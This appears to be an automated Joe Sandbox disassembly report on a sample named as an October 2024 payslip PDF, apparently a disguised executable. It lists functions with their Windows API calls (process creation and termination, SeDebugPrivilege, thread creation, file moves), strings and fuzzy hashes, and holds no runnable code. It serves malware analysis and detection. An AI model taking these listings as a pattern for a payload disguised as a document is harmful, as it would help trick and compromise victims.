Function 00CA2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00CA2EAE

Part of subcall function 00CA1DB3: GetClientRect.USER32(?,?), ref: 00CA1DDC
Part of subcall function 00CA1DB3: GetWindowRect.USER32(?,?), ref: 00CA1E1D
Part of subcall function 00CA1DB3: ScreenToClient.USER32(?,?), ref: 00CA1E45

GetDC.USER32 ref: 00CDCF82
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00CDCF95
SelectObject.GDI32(00000000,00000000), ref: 00CDCFA3
SelectObject.GDI32(00000000,00000000), ref: 00CDCFB8
ReleaseDC.USER32(?,00000000), ref: 00CDCFC0
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00CDD04B

Strings

U, xrefs: 00CDCF20

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: aedfb8adf1ff7c578d8590e85a398acd92f7249fa260f18eb8e44c5f42daea81
Instruction ID: 910d926be880ea1fb38c8e50478ab25c49662385b327a6105849cd89d36a29fe
Opcode Fuzzy Hash: aedfb8adf1ff7c578d8590e85a398acd92f7249fa260f18eb8e44c5f42daea81
Instruction Fuzzy Hash: 9E71B530500206DFCF219F68C884AEA7BB5FF49355F14426AEE669A3A5C7319D82DB60

Function 00D2C27C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

Part of subcall function 00CA2344: GetCursorPos.USER32(?), ref: 00CA2357
Part of subcall function 00CA2344: ScreenToClient.USER32(00D667B0,?), ref: 00CA2374
Part of subcall function 00CA2344: GetAsyncKeyState.USER32(00000001), ref: 00CA2399
Part of subcall function 00CA2344: GetAsyncKeyState.USER32(00000002), ref: 00CA23A7

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00D2C2E4
ImageList_EndDrag.COMCTL32 ref: 00D2C2EA
ReleaseCapture.USER32 ref: 00D2C2F0
SetWindowTextW.USER32(?,00000000), ref: 00D2C39A
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00D2C3AD
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00D2C48F

Strings

@GUI_DROPID, xrefs: 00D2C3E1
@GUI_DRAGFILE, xrefs: 00D2C424

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: db2666aedc4a848ed2bc2075a42e6ccec26effa46ec9a1840363ee52ca7cc3c3
Instruction ID: 8023a0817a386480352eee76f9572c68db7cdae1394e1591d1397352535b650e
Opcode Fuzzy Hash: db2666aedc4a848ed2bc2075a42e6ccec26effa46ec9a1840363ee52ca7cc3c3
Instruction Fuzzy Hash: 5551AB30204305AFCB10EF24DC56F6A7BE4EB98318F044929F9918B2E1DB71E959DB72

Function 00D18F5B Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00D2F910), ref: 00D1903D
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00D2F910), ref: 00D19071
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00D191EB
SysFreeString.OLEAUT32(?), ref: 00D19215

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: e646afa29a216b32a74363256ab7e6acb06c384be7620fb5660f73bdca6306d8
Instruction ID: 5ea3b7dd01622ce01036c7940e49d9a5e3df3ce8f8fd929ffaffb99a1da86027
Opcode Fuzzy Hash: e646afa29a216b32a74363256ab7e6acb06c384be7620fb5660f73bdca6306d8
Instruction Fuzzy Hash: 0CF10771A00209FFDB14DF94D8A8EEEB7B9BF49314F148459F516AB250CB31AD86CB60

Function 00D1F9A8 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D1F9C9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00D1FB5C
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00D1FB80
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00D1FBC0
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00D1FBE2
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00D1FD5E
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00D1FD90
CloseHandle.KERNEL32(?), ref: 00D1FDBF
CloseHandle.KERNEL32(?), ref: 00D1FE36

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: ca5caa5803d5c07f99436b31f56eeff2f8655af75788100fe6d4a695af1ea8e9
Instruction ID: 42d45572d33925bec27f51a49444f5f0acf1a35da90b3642fc2e6d306c04cc8c
Opcode Fuzzy Hash: ca5caa5803d5c07f99436b31f56eeff2f8655af75788100fe6d4a695af1ea8e9
Instruction Fuzzy Hash: 35E1A331204341AFC714EF24D491BAABBE1EF85314F18886DF8999B2A2DF31DC45DB62

Function 00D04F63 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D048AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00D038D3,?), ref: 00D048C7

Part of subcall function 00D048AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00D038D3,?), ref: 00D048E0

Part of subcall function 00D04CD3: GetFileAttributesW.KERNEL32(?,00D03947), ref: 00D04CD4

lstrcmpiW.KERNEL32(?,?), ref: 00D04FE2
_wcscmp.LIBCMT ref: 00D04FFC
MoveFileW.KERNEL32(?,?), ref: 00D05017

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: e5a8e28c27721870f8283f460a234758b644c5decee5c717920158466033f765
Instruction ID: 90ea64788e1a9019e1b1c45f84616f5ca5114972a0a2c80d4f3d8cc8f6493065
Opcode Fuzzy Hash: e5a8e28c27721870f8283f460a234758b644c5decee5c717920158466033f765
Instruction Fuzzy Hash: 125145B24087855BC724DB90DC81EDFB7ECAF85341F04492EF689D3191EE74A6488B76

Function 00D288B4 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00D2896E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: ada05dd579251ceed5ac50230ae99e5866c67f69354ba0c2368296ff78eccb86
Instruction ID: 6e67a2b1767912aa67c7b8f3f171d5e3164a4bb3eff10d215577529f42c967d0
Opcode Fuzzy Hash: ada05dd579251ceed5ac50230ae99e5866c67f69354ba0c2368296ff78eccb86
Instruction Fuzzy Hash: 0451E630501224BFDF309F28EC85BA97B64FB25328F544622F511E66A1CF71E980ABB1

Function 00CA2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00CDC547
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00CDC569
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00CDC581
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00CDC59F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00CDC5C0
DestroyIcon.USER32(00000000), ref: 00CDC5CF
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00CDC5EC
DestroyIcon.USER32(?), ref: 00CDC5FB

Part of subcall function 00D2A71E: DeleteObject.GDI32(00000000), ref: 00D2A757

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: c5590a9bae4361f6be273791607fee6ebf5d4a7ce057769aee25ece3559ec798
Instruction ID: e1744de134287f68d7a9033d34f2c9e3db1262691b6549b3385081ec5130eec9
Opcode Fuzzy Hash: c5590a9bae4361f6be273791607fee6ebf5d4a7ce057769aee25ece3559ec798
Instruction Fuzzy Hash: 25513970A0020AAFDB24DF29DC85FAA77B5EB55314F104529F912D73A0DBB0ED91EB60

Function 00CF8E03 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00CF8A84,00000B00,?,?), ref: 00CF8E0C
HeapAlloc.KERNEL32(00000000,?,00CF8A84,00000B00,?,?), ref: 00CF8E13
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00CF8A84,00000B00,?,?), ref: 00CF8E28
GetCurrentProcess.KERNEL32(?,00000000,?,00CF8A84,00000B00,?,?), ref: 00CF8E30
DuplicateHandle.KERNEL32(00000000,?,00CF8A84,00000B00,?,?), ref: 00CF8E33
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00CF8A84,00000B00,?,?), ref: 00CF8E43
GetCurrentProcess.KERNEL32(00CF8A84,00000000,?,00CF8A84,00000B00,?,?), ref: 00CF8E4B
DuplicateHandle.KERNEL32(00000000,?,00CF8A84,00000B00,?,?), ref: 00CF8E4E
CreateThread.KERNEL32(00000000,00000000,00CF8E74,00000000,00000000,00000000), ref: 00CF8E68

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 6784dfea195f876e07088cad0d68f3aea8c9fa6960154dc1f87adbb0a6f0b52c
Instruction ID: 6c359d0696fca3a3cee4b1eca1b0a01f30257a38bea5f6f0831e49e825dd6b62
Opcode Fuzzy Hash: 6784dfea195f876e07088cad0d68f3aea8c9fa6960154dc1f87adbb0a6f0b52c
Instruction Fuzzy Hash: 9E01BF75640308FFE721AB65DD4EF6B3B6CEB99711F404421FA05DB291CA709815CB30

Function 00D19428 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D1947C
VariantInit.OLEAUT32(?), ref: 00D1954D
VariantInit.OLEAUT32(?), ref: 00D1964E
VariantClear.OLEAUT32(?), ref: 00D19658
VariantClear.OLEAUT32(?), ref: 00D196B5

Strings

Null Object assignment in FOR..IN loop, xrefs: 00D194DD, 00D1960B, 00D196C3
Incorrect Object type in FOR..IN loop, xrefs: 00D19631

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 71deaef535b59908d2e2f8a01158d16b167fd1aa4f0ab53d43fa8199cb5f5558
Instruction ID: 80983a462e2f2c1752b2510fb01012a9baee0c00b957d7d2ac4933aa7a9e7810
Opcode Fuzzy Hash: 71deaef535b59908d2e2f8a01158d16b167fd1aa4f0ab53d43fa8199cb5f5558
Instruction Fuzzy Hash: 24919C71A00215BBDF20DFA5E864FEEB7B8EF45310F148559F915AB280DB709985CBB0

Function 00D19A72 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00CF7652: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?,?,?,00CF799D), ref: 00CF766F
Part of subcall function 00CF7652: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?,?), ref: 00CF768A
Part of subcall function 00CF7652: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?,?), ref: 00CF7698
Part of subcall function 00CF7652: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00CF758C,80070057,?), ref: 00CF76A8

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00D19B1B
_memset.LIBCMT ref: 00D19B28
_memset.LIBCMT ref: 00D19C6B
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00D19C97
CoTaskMemFree.OLE32(?), ref: 00D19CA2

Strings

NULL Pointer assignment, xrefs: 00D19CF0

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 131a0aa102f5796cb18f1d808fe4d3dfedadc2e51f92d37e2731096edf731b0b
Instruction ID: 0171b87142ee0c49ecd1976ca9842d6e0938195b8f658214eed5ad9888c07413
Opcode Fuzzy Hash: 131a0aa102f5796cb18f1d808fe4d3dfedadc2e51f92d37e2731096edf731b0b
Instruction Fuzzy Hash: 5F913971D00219ABDB10DFA4EC91ADEFBB9FF09710F20416AF519A7281DB319A44DFA0

Function 00D26FEF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00D27093
SendMessageW.USER32(?,00001036,00000000,?), ref: 00D270A7
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00D270C1
_wcscat.LIBCMT ref: 00D2711C
SendMessageW.USER32(?,00001057,00000000,?), ref: 00D27133
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00D27161

Strings

SysListView32, xrefs: 00D27065

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: bb1d25a8541d6798ee6ed0e4ad73c16bdf24fb5aa543753c19d63b3c540df447
Instruction ID: 3197ca717426f0d64760a7bf68290a682860bcf43e9f7d93193ed6d1759434ef
Opcode Fuzzy Hash: bb1d25a8541d6798ee6ed0e4ad73c16bdf24fb5aa543753c19d63b3c540df447
Instruction Fuzzy Hash: 3E41A270A04318AFDB319FA4DC85BEE77B8EF18354F14082AF984E7291D6719D898B70

Function 00D1EC47 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00D03E91: CreateToolhelp32Snapshot.KERNEL32 ref: 00D03EB6
Part of subcall function 00D03E91: Process32FirstW.KERNEL32(00000000,?), ref: 00D03EC4
Part of subcall function 00D03E91: CloseHandle.KERNEL32(00000000), ref: 00D03F8E

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00D1ECB8
GetLastError.KERNEL32 ref: 00D1ECCB
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00D1ECFA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00D1ED77
GetLastError.KERNEL32(00000000), ref: 00D1ED82
CloseHandle.KERNEL32(00000000), ref: 00D1EDB7

Strings

SeDebugPrivilege, xrefs: 00D1ECD6

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 73bfd650fc8b70c60d4dc993b4aa87e91047e85269e0801d1775a882b06fae30
Instruction ID: 709b1b2ac85826132a2e1cb087f16dcf8a1684bdab49b15966b01900a958cbeb
Opcode Fuzzy Hash: 73bfd650fc8b70c60d4dc993b4aa87e91047e85269e0801d1775a882b06fae30
Instruction Fuzzy Hash: D241CE30200201AFCB24EF24DC96FBEB7A1AF41714F088419F9429B3D2DB74AC45DBA2

Function 00D03226 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00D032C5

Strings

blank, xrefs: 00D03247
stop, xrefs: 00D03296
warning, xrefs: 00D032AE
info, xrefs: 00D03266
question, xrefs: 00D0327E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 4226cada0afe38f1a1d5e52266f6f3be63a5a8488a370bc53fc258b51f39669a
Instruction ID: 975ae5f490ca255f6b1670fc051512dd944d521d87399eee6f458f7dbabf9e2e
Opcode Fuzzy Hash: 4226cada0afe38f1a1d5e52266f6f3be63a5a8488a370bc53fc258b51f39669a
Instruction Fuzzy Hash: CE112B352083967FDB015B69EC43F6EB79CDF19370F14002AFD08961C1D6A19B4046BD

Function 00D04534 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00D0454E
LoadStringW.USER32(00000000), ref: 00D04555
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00D0456B
LoadStringW.USER32(00000000), ref: 00D04572
_wprintf.LIBCMT ref: 00D04598
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00D045B6

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00D04593

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 622f5c6f677531869b562b715a1d77bfa7abb69a7f3b1d776cc1ed0b0c5ef105
Instruction ID: b69aa69c27669000dd5c6f5c5cdceb44b8847584127152f4def06786df93c4f7
Opcode Fuzzy Hash: 622f5c6f677531869b562b715a1d77bfa7abb69a7f3b1d776cc1ed0b0c5ef105
Instruction Fuzzy Hash: 85014FF2900308BFE721A7A0DD89EEB777CE718301F4009B5BB49E2151EA749E858B70

Function 00D2D74C Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

GetSystemMetrics.USER32(0000000F), ref: 00D2D78A
GetSystemMetrics.USER32(0000000F), ref: 00D2D7AA
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00D2D9E5
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00D2DA03
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00D2DA24
ShowWindow.USER32(00000003,00000000), ref: 00D2DA43
InvalidateRect.USER32(?,00000000,00000001), ref: 00D2DA68
DefDlgProcW.USER32(?,00000005,?,?), ref: 00D2DA8B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
